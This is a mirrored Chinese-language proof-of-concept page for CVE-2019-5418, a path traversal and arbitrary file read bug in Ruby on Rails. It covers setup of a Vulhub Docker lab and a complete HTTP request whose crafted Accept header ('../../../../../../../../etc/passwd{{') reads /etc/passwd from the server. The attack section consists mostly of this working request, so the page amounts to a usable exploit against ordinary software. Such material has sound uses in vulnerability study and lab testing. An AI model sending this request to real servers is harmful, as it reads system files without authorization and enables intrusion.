mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
43 lines
1.2 KiB
Markdown
43 lines
1.2 KiB
Markdown
|
# Ruby On Rails 路径穿越与任意文件读取漏洞CVE-2019-5418
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
在控制器中通过`render file`形式来渲染应用之外的视图，且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞，读取任意文件。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
|
|||
|
|
- https://xz.aliyun.com/t/4448
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub执行如下命令编译及启动Rail On Rails 5.2.2：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose build
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后，访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
访问`http://your-ip:3000/robots`可见，正常的robots.txt文件被读取出来。
|
|||
|
|
|
|||
|
|
利用漏洞，发送如下数据包，读取`/etc/passwd`：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /robots HTTP/1.1
|
|||
|
|
Host: your-ip:3000
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept: ../../../../../../../../etc/passwd{{
|
|||
|
|
Accept-Language: en
|
|||
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
|||
|
|
Connection: close
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
成功读取`/etc/passwd`：
|
|||
|
|
|
|||
|
|
|